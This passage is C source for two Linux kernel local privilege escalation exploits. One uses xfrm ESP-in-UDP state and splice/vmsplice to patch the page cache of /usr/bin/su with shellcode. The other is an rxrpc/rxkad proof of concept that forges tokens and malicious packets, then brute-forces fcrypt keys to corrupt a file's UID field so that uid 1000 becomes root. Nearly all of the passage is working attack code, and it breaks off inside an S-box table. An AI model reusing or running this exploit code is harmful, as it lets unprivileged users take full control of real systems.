sizeof(alg_buf)); } { struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP; enc.encap_sport = htons(ENC_PORT); enc.encap_dport = htons(ENC_PORT); enc.encap_oa.a4 = 0; put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); } { char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0, sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; esn->bmp_len = 1; esn->oseq = 0; esn->seq = REPLAY_SEQ; esn->oseq_hi = 0; esn->seq_hi = patch_seqhi; esn->replay_window = 32; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); } if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } char rbuf[4096]; int n = recv(sk, rbuf, sizeof(rbuf), 0); if (n < 0) { close(sk); return -1; } struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; if (rh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error) { close(sk); return -1; } } close(sk); return 0; } static int do_one_write(const char *path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv < 0) return -1; int one = 1; setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { inet_addr("127.0.0.1") }, }; if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_recv); return -1; } int encap = UDP_ENCAP_ESPINUDP; if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { close(sk_recv); return -1; } int sk_send = socket(AF_INET, SOCK_DGRAM, 0); if (sk_send < 0) { close(sk_recv); return -1; } if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_send); close(sk_recv); return -1; } int file_fd = open(path, O_RDONLY); if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } int pfd[2]; if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } uint8_t hdr[24]; *(uint32_t*)(hdr + 0) = htonl(spi); *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); memset(hdr + 8, 0xCC, 16); struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } off_t off = offset; ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); if (s != 16) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); /* still proceed regardless of splice rc — kernel may have already * decrypted the page in the time between splice and recv */ usleep(150 * 1000); close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return s == 40 ? 0 : -1; } static int verify_byte(const char *path, off_t offset, uint8_t want) { int fd = open(path, O_RDONLY); if (fd < 0) return -1; uint8_t got; if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } close(fd); return got == want ? 0 : -1; } static int corrupt_su(void) { setup_userns_netns(); usleep(100 * 1000); /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the * desired payload word in its seq_hi field. */ for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; uint32_t seqhi = ((uint32_t)shell_elf[i*4 + 0] << 24) | ((uint32_t)shell_elf[i*4 + 1] << 16) | ((uint32_t)shell_elf[i*4 + 2] << 8) | ((uint32_t)shell_elf[i*4 + 3]); if (add_xfrm_sa(spi, seqhi) < 0) { SLOG("add_xfrm_sa #%d failed", i); return -1; } } SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4); for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; off_t off = PATCH_OFFSET + i * 4; if (do_one_write(TARGET_PATH, off, spi) < 0) { SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off); return -1; } } SLOG("wrote %d bytes to %s starting at 0x%x", PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET); return 0; } int su_lpe_main(int argc, char **argv) { for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) g_su_verbose = 1; else if (!strcmp(argv[i], "--corrupt-only")) ; /* compat: this body always corrupts only */ } if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; pid_t cpid = fork(); if (cpid < 0) return 1; if (cpid == 0) { int rc = corrupt_su(); _exit(rc == 0 ? 0 : 2); } int cstatus; waitpid(cpid, &cstatus, 0); if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { SLOG("corruption stage failed (status=0x%x)", cstatus); return 1; } /* Sanity check: bytes at the embedded ELF entry (file offset 0x78 * after our overwrite) should be 0x31 0xff (xor edi, edi — first * instruction of the new shellcode). */ if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { SLOG("post-write verify failed (target unchanged)"); return 1; } SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)", ENTRY_OFFSET); return 0; } /* * rxrpc/rxkad LPE — uid=1000 → root */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef AF_RXRPC #define AF_RXRPC 33 #endif #ifndef PF_RXRPC #define PF_RXRPC AF_RXRPC #endif #ifndef SOL_RXRPC #define SOL_RXRPC 272 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef MSG_SPLICE_PAGES #define MSG_SPLICE_PAGES 0x8000000 #endif /* ---- rxrpc constants ---- */ #define RXRPC_PACKET_TYPE_DATA 1 #define RXRPC_PACKET_TYPE_ACK 2 #define RXRPC_PACKET_TYPE_ABORT 4 #define RXRPC_PACKET_TYPE_CHALLENGE 6 #define RXRPC_PACKET_TYPE_RESPONSE 7 #define RXRPC_CLIENT_INITIATED 0x01 #define RXRPC_REQUEST_ACK 0x02 #define RXRPC_LAST_PACKET 0x04 #define RXRPC_CHANNELMASK 3 #define RXRPC_CIDSHIFT 2 struct rxrpc_wire_header { uint32_t epoch; uint32_t cid; uint32_t callNumber; uint32_t seq; uint32_t serial; uint8_t type; uint8_t flags; uint8_t userStatus; uint8_t securityIndex; uint16_t cksum; /* big-endian on wire */ uint16_t serviceId; } __attribute__((packed)); struct rxkad_challenge { uint32_t version; uint32_t nonce; uint32_t min_level; uint32_t __padding; } __attribute__((packed)); /* Attacker-chosen 8-byte session key used for the rxkad token. * Mutable because the LPE brute-force iterates over keys looking for * one that decrypts the file's UID field to a "0:" prefix. */ static uint8_t SESSION_KEY[8] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 }; #define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__) #define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__) #define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__) /* =================================================================== */ /* unshare + map setup */ /* =================================================================== */ static int write_file(const char *path, const char *fmt, ...) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; char buf[256]; va_list ap; va_start(ap, fmt); int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); int r = (int)write(fd, buf, n); close(fd); return r; } static int do_unshare_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno)); return -1; } LOG("unshare(USER|NET) OK, real uid=%u", real_uid); write_file("/proc/self/setgroups", "deny"); if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) { WARN("uid_map: %s", strerror(errno)); return -1; } if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) { WARN("gid_map: %s", strerror(errno)); return -1; } LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns", real_uid, real_gid); /* ifup lo */ int s = socket(AF_INET, SOCK_DGRAM, 0); if (s >= 0) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, "lo"); if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) WARN("SIOCSIFFLAGS lo: %s", strerror(errno)); else LOG("lo brought UP in new netns"); } close(s); } return 0; } /* =================================================================== */ /* rxrpc key (rxkad v1 token with attacker session key) */ /* =================================================================== */ static long key_add(const char *type, const char *desc, const void *payload, size_t plen, int ringid) { return syscall(SYS_add_key, type, desc, payload, plen, ringid); } static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen) { uint8_t *p = out; uint32_t now = (uint32_t)time(NULL); uint32_t expires = now + 86400; *(uint32_t *)p = htonl(0); p += 4; /* flags */ const char *cell = "evil"; uint32_t clen = strlen(cell); *(uint32_t *)p = htonl(clen); p += 4; memcpy(p, cell, clen); uint32_t pad = (4 - (clen & 3)) & 3; memset(p + clen, 0, pad); p += clen + pad; *(uint32_t *)p = htonl(1); p += 4; /* ntoken */ uint8_t *toklen_p = p; p += 4; uint8_t *tokstart = p; *(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */ *(uint32_t *)p = htonl(0); p += 4; /* vice_id */ *(uint32_t *)p = htonl(1); p += 4; /* kvno */ memcpy(p, SESSION_KEY, 8); p += 8; /* session_key K */ *(uint32_t *)p = htonl(now); p += 4; *(uint32_t *)p = htonl(expires); p += 4; *(uint32_t *)p = htonl(1); p += 4; /* primary_flag */ *(uint32_t *)p = htonl(8); p += 4; /* ticket_len */ memset(p, 0xCC, 8); p += 8; /* ticket */ uint32_t toklen = (uint32_t)(p - tokstart); *(uint32_t *)toklen_p = htonl(toklen); if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; } return (int)(p - out); } static long add_rxrpc_key(const char *desc) { uint8_t buf[512]; int n = build_rxrpc_v1_token(buf, sizeof(buf)); if (n < 0) return -1; return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); } /* =================================================================== */ /* AF_ALG pcbc(fcrypt) helpers */ /* =================================================================== */ static int alg_open_pcbc_fcrypt(const uint8_t key[8]) { int s = socket(AF_ALG, SOCK_SEQPACKET, 0); if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; } struct sockaddr_alg sa = { .salg_family = AF_ALG }; strcpy((char *)sa.salg_type, "skcipher"); strcpy((char *)sa.salg_name, "pcbc(fcrypt)"); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno)); close(s); return -1; } if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) { WARN("ALG_SET_KEY: %s", strerror(errno)); close(s); return -1; } return s; } /* Encrypt-or-decrypt a 1+ block of data with a given IV. */ static int alg_op(int alg_s, int op, const uint8_t iv[8], const void *in, size_t inlen, void *out) { int op_fd = accept(alg_s, NULL, NULL); if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; } char cbuf[CMSG_SPACE(sizeof(int)) + CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0}; struct msghdr msg = {0}; msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); struct cmsghdr *c = CMSG_FIRSTHDR(&msg); c->cmsg_level = SOL_ALG; c->cmsg_type = ALG_SET_OP; c->cmsg_len = CMSG_LEN(sizeof(int)); *(int *)CMSG_DATA(c) = op; c = CMSG_NXTHDR(&msg, c); c->cmsg_level = SOL_ALG; c->cmsg_type = ALG_SET_IV; c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8); struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c); aiv->ivlen = 8; memcpy(aiv->iv, iv, 8); struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen }; msg.msg_iov = &iov; msg.msg_iovlen = 1; if (sendmsg(op_fd, &msg, 0) < 0) { WARN("AF_ALG sendmsg: %s", strerror(errno)); close(op_fd); return -1; } ssize_t n = read(op_fd, out, inlen); close(op_fd); if (n != (ssize_t)inlen) { WARN("AF_ALG read got %zd want %zu: %s", n, inlen, strerror(errno)); return -1; } return 0; } /* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security): * tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B) * PCBC-encrypt(tmpbuf, IV=session_key) → out[16] * csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption) */ static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, const uint8_t key[8], uint8_t csum_iv[8]) { int s = alg_open_pcbc_fcrypt(key); if (s < 0) return -1; uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) }; uint8_t out[16]; int rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out); close(s); if (rc < 0) return -1; memcpy(csum_iv, out + 8, 8); return 0; } /* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342): * x = (cid_low2 << 30) | (seq & 0x3fffffff) * buf[0] = htonl(call_id), buf[1] = htonl(x) (8 B) * PCBC-encrypt(buf, IV=csum_iv) → enc[8] * y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff; if zero -> 1 */ static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, const uint8_t key[8], const uint8_t csum_iv[8], uint16_t *cksum_out) { int s = alg_open_pcbc_fcrypt(key); if (s < 0) return -1; uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT); x |= seq & 0x3fffffff; uint32_t in[2] = { htonl(call_id), htonl(x) }; uint32_t out[2]; int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out); close(s); if (rc < 0) return -1; uint32_t y = ntohl(out[1]); uint16_t v = (y >> 16) & 0xffff; if (v == 0) v = 1; *cksum_out = v; return 0; } /* =================================================================== */ /* AF_RXRPC client */ /* =================================================================== */ static int setup_rxrpc_client(uint16_t local_port, const char *keyname) { int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; } if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, keyname, strlen(keyname)) < 0) { WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1; } int min_level = RXRPC_SECURITY_AUTH; if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, &min_level, sizeof(min_level)) < 0) { WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno)); close(fd); return -1; } struct sockaddr_rxrpc srx = {0}; srx.srx_family = AF_RXRPC; srx.srx_service = 0; srx.transport_type = SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(local_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { WARN("client bind :%u: %s", local_port, strerror(errno)); close(fd); return -1; } LOG("AF_RXRPC client bound :%u", local_port); return fd; } static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id, unsigned long user_call_id) { char data[8] = "PINGPING"; struct sockaddr_rxrpc srx = {0}; srx.srx_family = AF_RXRPC; srx.srx_service = service_id; srx.transport_type = SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(srv_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; struct msghdr msg = {0}; msg.msg_name = &srx; msg.msg_namelen = sizeof(srx); struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf); struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_RXRPC; cmsg->cmsg_type = RXRPC_USER_CALL_ID; cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); *(unsigned long *)CMSG_DATA(cmsg) = user_call_id; /* Don't block forever if no reply ever comes through this single sendmsg. */ int fl = fcntl(cli_fd, F_GETFL); fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); ssize_t n = sendmsg(cli_fd, &msg, 0); fcntl(cli_fd, F_SETFL, fl); if (n < 0) { if (errno == EAGAIN || errno == EWOULDBLOCK) { LOG("client sendmsg returned EAGAIN (expected; kernel will keep " "retrying handshake)"); return 0; } WARN("client sendmsg: %s", strerror(errno)); return -1; } LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)", n, srv_port); return 0; } /* =================================================================== */ /* fake-server (plain UDP) */ /* =================================================================== */ static int setup_udp_server(uint16_t port) { int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; } struct sockaddr_in sa = {0}; sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr.s_addr = htonl(0x7F000001); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { WARN("udp server bind :%u: %s", port, strerror(errno)); close(s); return -1; } LOG("plain UDP fake-server bound :%u", port); return s; } /* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */ static ssize_t udp_recv_to(int s, void *buf, size_t cap, struct sockaddr_in *from, int timeout_ms) { struct pollfd pfd = { .fd = s, .events = POLLIN }; int rc = poll(&pfd, 1, timeout_ms); if (rc <= 0) return -1; socklen_t fl = from ? sizeof(*from) : 0; return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL); } /* =================================================================== */ /* main PoC */ /* =================================================================== */ static int trigger_seq = 0; static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len) { char keyname[32]; snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++); long key = add_rxrpc_key(keyname); if (key < 0) { if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno)); return -1; } /* Use varying ports so kernel TIME_WAIT / stale state does not bite. */ uint16_t port_S = 7777 + (trigger_seq * 2 % 200); uint16_t port_C = port_S + 1; uint16_t svc_id = 1234; int udp_srv = setup_udp_server(port_S); if (udp_srv < 0) { if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S); syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key); return -1; } int rxsk_cli = setup_rxrpc_client(port_C, keyname); if (rxsk_cli < 0) { if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) { if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed"); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } uint8_t pkt[2048]; struct sockaddr_in cli_addr; ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500); if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) { if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno)); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } struct rxrpc_wire_header *whdr_in = (struct rxrpc_wire_header *)pkt; uint32_t epoch = ntohl(whdr_in->epoch); uint32_t cid = ntohl(whdr_in->cid); uint32_t callN = ntohl(whdr_in->callNumber); uint16_t svc_in = ntohs(whdr_in->serviceId); uint16_t cli_port = ntohs(cli_addr.sin_port); /* Send CHALLENGE */ { struct { struct rxrpc_wire_header hdr; struct rxkad_challenge ch; } __attribute__((packed)) c = {0}; c.hdr.epoch = htonl(epoch); c.hdr.cid = htonl(cid); c.hdr.callNumber = 0; c.hdr.seq = 0; c.hdr.serial = htonl(0x10000); c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; c.hdr.securityIndex = 2; c.hdr.serviceId = htons(svc_in); c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); c.ch.min_level = htonl(1); struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port), .sin_addr.s_addr=htonl(0x7F000001) }; if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) < 0) { close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } } /* Drain RESPONSE (best-effort) */ for (int i = 0; i < 4; i++) { struct sockaddr_in src; if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break; } /* csum + cksum with CURRENT SESSION_KEY */ uint8_t csum_iv[8] = {0}; if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) { close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } uint16_t cksum_h = 0; if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) { close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } /* Build malicious DATA header */ struct rxrpc_wire_header mal = {0}; mal.epoch = htonl(epoch); mal.cid = htonl(cid); mal.callNumber = htonl(callN); mal.seq = htonl(1); mal.serial = htonl(0x42000); mal.type = RXRPC_PACKET_TYPE_DATA; mal.flags = RXRPC_LAST_PACKET; mal.securityIndex = 2; mal.cksum = htons(cksum_h); mal.serviceId = htons(svc_in); /* connect udp_srv → client port for splice */ struct sockaddr_in dst = { .sin_family=AF_INET, .sin_port=htons(cli_port), .sin_addr.s_addr=htonl(0x7F000001) }; if (connect(udp_srv, (struct sockaddr*)&dst, sizeof(dst)) < 0) { close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } /* pipe + vmsplice header + splice file → pipe → udp_srv */ int p[2]; if (pipe(p) < 0) { close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } { struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) }; if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail; } { loff_t off = splice_off; if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) goto trig_fail; } if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) { goto trig_fail; } close(p[0]); close(p[1]); /* recvmsg the malicious DATA into the kernel's verify_packet path */ int fl = fcntl(rxsk_cli, F_GETFL); fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK); for (int round = 0; round < 5; round++) { char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256]; struct msghdr m = {0}; struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; m.msg_name = &srx; m.msg_namelen = sizeof(srx); m.msg_iov = &iv; m.msg_iovlen = 1; m.msg_control = ccb; m.msg_controllen = sizeof(ccb); ssize_t r = recvmsg(rxsk_cli, &m, 0); if (r > 0) break; if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000); else break; } fcntl(rxsk_cli, F_SETFL, fl); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return 0; trig_fail: close(p[0]); close(p[1]); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } /* =================================================================== * USER-SPACE pcbc(fcrypt) BRUTE-FORCE * * The kernel's rxkad_verify_packet_1() does an in-place 8-byte * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice * offset. pcbc with single 8-B block and IV=0 reduces to a plain * fcrypt_decrypt(C, K). We can therefore search for the right K * entirely in user-space — without touching the kernel/VM at all — * before applying ONE deterministic kernel trigger. * * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH). * Verified against kernel test vectors: * K=0, decrypt(0E0900C73EF7ED41) = 00000000 * K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0 * =================================================================== */ static const uint8_t fc_sbox0_raw[256] = { 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, 0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15, 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24, 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, 0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6, 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1, 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, 0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, 0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e, }; static const uint8_t fc_sbox1_raw[256] = { 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, 0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa, 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc, 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, 0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52, 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30, 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 